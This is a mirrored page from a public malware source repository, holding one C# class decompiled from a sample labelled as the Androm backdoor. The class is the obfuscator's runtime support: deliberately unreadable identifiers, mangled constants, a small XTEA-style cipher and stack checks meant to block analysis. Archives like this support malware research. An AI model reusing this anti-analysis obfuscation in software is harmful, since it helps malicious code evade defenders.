mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2025-01-19 16:48:52 +00:00
f2ac1ece55
add
201 lines
15 KiB
C#
201 lines
15 KiB
C#
// Decompiled with JetBrains decompiler
|
||
// Type:
|
||
// Assembly: mlw, Version=5.4.2.6, Culture=neutral, PublicKeyToken=null
|
||
// MVID: 968ED84C-4CC9-4699-A4B5-2702B06E186C
|
||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267.exe
|
||
|
||
using System;
|
||
using System.Collections.Generic;
|
||
using System.Diagnostics;
|
||
using System.Reflection;
|
||
using System.Runtime.CompilerServices;
|
||
using System.Text;
|
||
|
||
internal static class \u0003\u2000
|
||
{
|
||
private static \u0003\u2000.\u0002\u2005\u2000\u2009\u2007\u2003\u2003\u2001\u2001\u2009\u2005\u2004 \u0002 = new \u0003\u2000.\u0002\u2005\u2000\u2009\u2007\u2003\u2003\u2001\u2001\u2009\u2005\u2004();
|
||
|
||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||
internal static long \u0002()
|
||
{
|
||
if ((object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000).Assembly || !\u0003\u2000.\u0002())
|
||
return 0;
|
||
lock (\u0003\u2000.\u0002)
|
||
{
|
||
long num1 = \u0003\u2000.\u0002.\u0002();
|
||
if (num1 == 0L)
|
||
{
|
||
Assembly executingAssembly = Assembly.GetExecutingAssembly();
|
||
List<byte> byteList = new List<byte>();
|
||
AssemblyName assemblyName;
|
||
try
|
||
{
|
||
assemblyName = executingAssembly.GetName();
|
||
}
|
||
catch
|
||
{
|
||
assemblyName = new AssemblyName(executingAssembly.FullName);
|
||
}
|
||
byte[] collection = assemblyName.GetPublicKeyToken();
|
||
if (collection != null && collection.Length == 0)
|
||
collection = (byte[]) null;
|
||
if (collection != null)
|
||
byteList.AddRange((IEnumerable<byte>) collection);
|
||
byteList.AddRange((IEnumerable<byte>) Encoding.Unicode.GetBytes(assemblyName.Name));
|
||
int num2 = \u0003\u2000.\u0002(typeof (\u0003\u2000));
|
||
int num3 = \u0003\u2000.\u0005\u2004\u2005\u2009\u2004\u2009\u2001\u2004\u2000\u2002\u2001\u2003\u2000\u2000\u2003.\u0002();
|
||
byteList.Add((byte) (num2 >> 24));
|
||
byteList.Add((byte) (num3 >> 16));
|
||
byteList.Add((byte) (num2 >> 8));
|
||
byteList.Add((byte) num3);
|
||
byteList.Add((byte) (num2 >> 16));
|
||
byteList.Add((byte) (num3 >> 8));
|
||
byteList.Add((byte) num2);
|
||
byteList.Add((byte) (num3 >> 24));
|
||
int count = byteList.Count;
|
||
ulong num4 = 0;
|
||
for (int index = 0; index != count; ++index)
|
||
{
|
||
ulong num5 = num4 + (ulong) byteList[index];
|
||
ulong num6 = num5 + (num5 << 20);
|
||
num4 = num6 ^ num6 >> 12;
|
||
byteList[index] = (byte) 0;
|
||
}
|
||
ulong num7 = num4 + (num4 << 6);
|
||
ulong num8 = num7 ^ num7 >> 22;
|
||
num1 = (long) (num8 + (num8 << 30)) ^ -7864757161471127688L;
|
||
\u0003\u2000.\u0002.\u0002(num1);
|
||
}
|
||
return num1;
|
||
}
|
||
}
|
||
|
||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||
private static bool \u0002() => \u0003\u2000.\u0003();
|
||
|
||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||
private static bool \u0003()
|
||
{
|
||
StackFrame frame = new StackTrace().GetFrame(3);
|
||
MethodBase methodBase = frame == null ? (MethodBase) null : frame.GetMethod();
|
||
Type type = (object) methodBase == null ? (Type) null : methodBase.DeclaringType;
|
||
return (object) type != (object) typeof (RuntimeMethodHandle) && (object) type != null && (object) type.Assembly == (object) typeof (\u0003\u2000).Assembly;
|
||
}
|
||
|
||
private static int \u0002(Type _param0) => _param0.MetadataToken;
|
||
|
||
private sealed class \u0006\u2002\u2005\u200A\u2006\u2004\u2006\u2007\u2000\u2008\u2005\u2006\u2004\u2000\u2007\u200A\u2005\u2008\u2008
|
||
{
|
||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||
internal static int \u0002() => \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0003(\u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0003(\u0003\u2000.\u0002\u2008\u2005\u2004\u2001\u2006\u2002\u2001\u2004\u200A\u2000\u2008\u2004.\u0002(), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0002(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0006\u2002\u2005\u200A\u2006\u2004\u2006\u2007\u2000\u2008\u2005\u2006\u2004\u2000\u2007\u200A\u2005\u2008\u2008)), \u0003\u2000.\u0005\u2009\u2002\u200A\u2002\u2003\u2009\u2004\u2004\u2003\u2001\u2002\u2000\u200A\u2007\u2005\u2008\u2006.\u0002())), \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0003\u2004\u2007\u2004\u2001\u2002\u2007\u2006\u2004\u2004\u2002\u2005\u2001\u2001\u200A\u2004\u2005)));
|
||
}
|
||
|
||
private static class \u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003
|
||
{
|
||
internal static int \u0002(int _param0, int _param1) => _param0 ^ _param1 - -~-~~--~~-540699733;
|
||
|
||
internal static int \u0003(int _param0, int _param1) => _param0 - ~--~-~~-~-~1673170882 ^ _param1 + ~--~~-~-~-297411131;
|
||
|
||
internal static int \u0005(int _param0, int _param1) => _param0 ^ _param1 - ~--~~-~-~1323644435 ^ _param0 - _param1;
|
||
}
|
||
|
||
private sealed class \u0005\u2004\u2005\u2009\u2004\u2009\u2001\u2004\u2000\u2002\u2001\u2003\u2000\u2000\u2003
|
||
{
|
||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||
internal static int \u0002() => \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0005(\u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0003(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005\u2009\u2002\u200A\u2002\u2003\u2009\u2004\u2004\u2003\u2001\u2002\u2000\u200A\u2007\u2005\u2008\u2006)), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0005(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005\u2004\u2005\u2009\u2004\u2009\u2001\u2004\u2000\u2002\u2001\u2003\u2000\u2000\u2003)), \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0006\u2002\u2005\u200A\u2006\u2004\u2006\u2007\u2000\u2008\u2005\u2006\u2004\u2000\u2007\u200A\u2005\u2008\u2008)))), \u0003\u2000.\u0003\u2004\u2007\u2004\u2001\u2002\u2007\u2006\u2004\u2004\u2002\u2005\u2001\u2001\u200A\u2004\u2005.\u0002());
|
||
}
|
||
|
||
private sealed class \u0003\u2004\u2007\u2004\u2001\u2002\u2007\u2006\u2004\u2004\u2002\u2005\u2001\u2001\u200A\u2004\u2005
|
||
{
|
||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||
internal static int \u0002() => \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0002(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0003\u2004\u2007\u2004\u2001\u2002\u2007\u2006\u2004\u2004\u2002\u2005\u2001\u2001\u200A\u2004\u2005)), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0005(\u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0003(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0006\u2002\u2005\u200A\u2006\u2004\u2006\u2007\u2000\u2008\u2005\u2006\u2004\u2000\u2007\u200A\u2005\u2008\u2008)), \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005\u2004\u2005\u2009\u2004\u2009\u2001\u2004\u2000\u2002\u2001\u2003\u2000\u2000\u2003))), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0005(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002\u2008\u2005\u2004\u2001\u2006\u2002\u2001\u2004\u200A\u2000\u2008\u2004)) ^ -~~--~-~-~~1615442953, \u0003\u2000.\u0006\u2002\u2005\u200A\u2006\u2004\u2006\u2007\u2000\u2008\u2005\u2006\u2004\u2000\u2007\u200A\u2005\u2008\u2008.\u0002())));
|
||
}
|
||
|
||
private sealed class \u0002\u2005\u2000\u2009\u2007\u2003\u2003\u2001\u2001\u2009\u2005\u2004
|
||
{
|
||
private int \u0002;
|
||
private int \u0003;
|
||
|
||
internal \u0002\u2005\u2000\u2009\u2007\u2003\u2003\u2001\u2001\u2009\u2005\u2004() => this.\u0002(0L);
|
||
|
||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||
internal long \u0002()
|
||
{
|
||
if ((object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000.\u0002\u2005\u2000\u2009\u2007\u2003\u2003\u2001\u2001\u2009\u2005\u2004).Assembly || !\u0003\u2000.\u0002())
|
||
return 2918384;
|
||
int[] numArray = new int[4]
|
||
{
|
||
0,
|
||
0,
|
||
0,
|
||
~--~~-~-~-2002714090
|
||
};
|
||
numArray[1] = -~-~-~~-~-1606733917;
|
||
numArray[2] = ~-~--~~--~~-402418770;
|
||
numArray[0] = ~-~--~~-~1686541314;
|
||
int num1 = this.\u0002;
|
||
int num2 = this.\u0003;
|
||
int num3 = -~-~-~~-~1640531528;
|
||
int num4 = ~--~~--~-~~957401312;
|
||
for (int index = 0; index != 32; ++index)
|
||
{
|
||
num2 -= (num1 << 4 ^ num1 >> 5) + num1 ^ num4 + numArray[num4 >> 11 & 3];
|
||
num4 -= num3;
|
||
num1 -= (num2 << 4 ^ num2 >> 5) + num2 ^ num4 + numArray[num4 & 3];
|
||
}
|
||
for (int index = 0; index != 4; ++index)
|
||
numArray[index] = 0;
|
||
return (long) ((ulong) num2 << 32 | (ulong) (uint) num1);
|
||
}
|
||
|
||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||
internal void \u0002(long _param1)
|
||
{
|
||
if ((object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000.\u0002\u2005\u2000\u2009\u2007\u2003\u2003\u2001\u2001\u2009\u2005\u2004).Assembly || !\u0003\u2000.\u0002())
|
||
return;
|
||
int[] numArray = new int[4]
|
||
{
|
||
0,
|
||
~-~--~-~~-~-1606733920,
|
||
0,
|
||
0
|
||
};
|
||
numArray[0] = -~-~-~~-~1686541318;
|
||
numArray[2] = -~-~-~~-~-~-402418768;
|
||
numArray[3] = -~~-~--~~-~-2002714089;
|
||
int num1 = -~~-~-~-~1640531524;
|
||
int num2 = (int) _param1;
|
||
int num3 = (int) (_param1 >> 32);
|
||
int num4 = 0;
|
||
for (int index = 0; index != 32; ++index)
|
||
{
|
||
num2 += (num3 << 4 ^ num3 >> 5) + num3 ^ num4 + numArray[num4 & 3];
|
||
num4 += num1;
|
||
num3 += (num2 << 4 ^ num2 >> 5) + num2 ^ num4 + numArray[num4 >> 11 & 3];
|
||
}
|
||
for (int index = 0; index != 4; ++index)
|
||
numArray[index] = 0;
|
||
this.\u0002 = num2;
|
||
this.\u0003 = num3;
|
||
}
|
||
}
|
||
|
||
private sealed class \u0002\u2008\u2005\u2004\u2001\u2006\u2002\u2001\u2004\u200A\u2000\u2008\u2004
|
||
{
|
||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||
internal static int \u0002() => \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0005(\u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0002(\u0003\u2000.\u0005\u2009\u2002\u200A\u2002\u2003\u2009\u2004\u2004\u2003\u2001\u2002\u2000\u200A\u2007\u2005\u2008\u2006.\u0002() ^ -~-~-~~-~-527758445, \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002\u2006\u2002\u2002\u2008\u2009\u2009\u2002\u2006\u2000\u2009\u2002\u2009\u2000\u2009\u2007\u2002\u2001\u2004\u2000\u2009\u2004))), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0003(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005\u2004\u2005\u2009\u2004\u2009\u2001\u2004\u2000\u2002\u2001\u2003\u2000\u2000\u2003)) ^ \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0003\u2004\u2007\u2004\u2001\u2002\u2007\u2006\u2004\u2004\u2002\u2005\u2001\u2001\u200A\u2004\u2005)), -~-~-~~-~-1144099094));
|
||
}
|
||
|
||
private sealed class \u0005\u2009\u2002\u200A\u2002\u2003\u2009\u2004\u2004\u2003\u2001\u2002\u2000\u200A\u2007\u2005\u2008\u2006
|
||
{
|
||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||
internal static int \u0002() => \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0002(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002\u2008\u2005\u2004\u2001\u2006\u2002\u2001\u2004\u200A\u2000\u2008\u2004)), \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002\u2006\u2002\u2002\u2008\u2009\u2009\u2002\u2006\u2000\u2009\u2002\u2009\u2000\u2009\u2007\u2002\u2001\u2004\u2000\u2009\u2004)) ^ \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0003(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005\u2009\u2002\u200A\u2002\u2003\u2009\u2004\u2004\u2003\u2001\u2002\u2000\u200A\u2007\u2005\u2008\u2006)), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0005(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0003\u2004\u2007\u2004\u2001\u2002\u2007\u2006\u2004\u2004\u2002\u2005\u2001\u2001\u200A\u2004\u2005)), \u0003\u2000.\u0002\u2006\u2002\u2002\u2008\u2009\u2009\u2002\u2006\u2000\u2009\u2002\u2009\u2000\u2009\u2007\u2002\u2001\u2004\u2000\u2009\u2004.\u0002())));
|
||
}
|
||
|
||
private sealed class \u0002\u2006\u2002\u2002\u2008\u2009\u2009\u2002\u2006\u2000\u2009\u2002\u2009\u2000\u2009\u2007\u2002\u2001\u2004\u2000\u2009\u2004
|
||
{
|
||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||
internal static int \u0002() => \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0005(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002\u2006\u2002\u2002\u2008\u2009\u2009\u2002\u2006\u2000\u2009\u2002\u2009\u2000\u2009\u2007\u2002\u2001\u2004\u2000\u2009\u2004)), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0002(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005\u2004\u2005\u2009\u2004\u2009\u2001\u2004\u2000\u2002\u2001\u2003\u2000\u2000\u2003)), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0003(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005\u2009\u2002\u200A\u2002\u2003\u2009\u2004\u2004\u2003\u2001\u2002\u2000\u200A\u2007\u2005\u2008\u2006)), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0005(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002\u2008\u2005\u2004\u2001\u2006\u2002\u2001\u2004\u200A\u2000\u2008\u2004)), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0002(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0006\u2002\u2005\u200A\u2006\u2004\u2006\u2007\u2000\u2008\u2005\u2006\u2004\u2000\u2007\u200A\u2005\u2008\u2008)), \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0003\u2004\u2007\u2004\u2001\u2002\u2007\u2006\u2004\u2004\u2002\u2005\u2001\u2001\u200A\u2004\u2005)))))));
|
||
}
|
||
}
|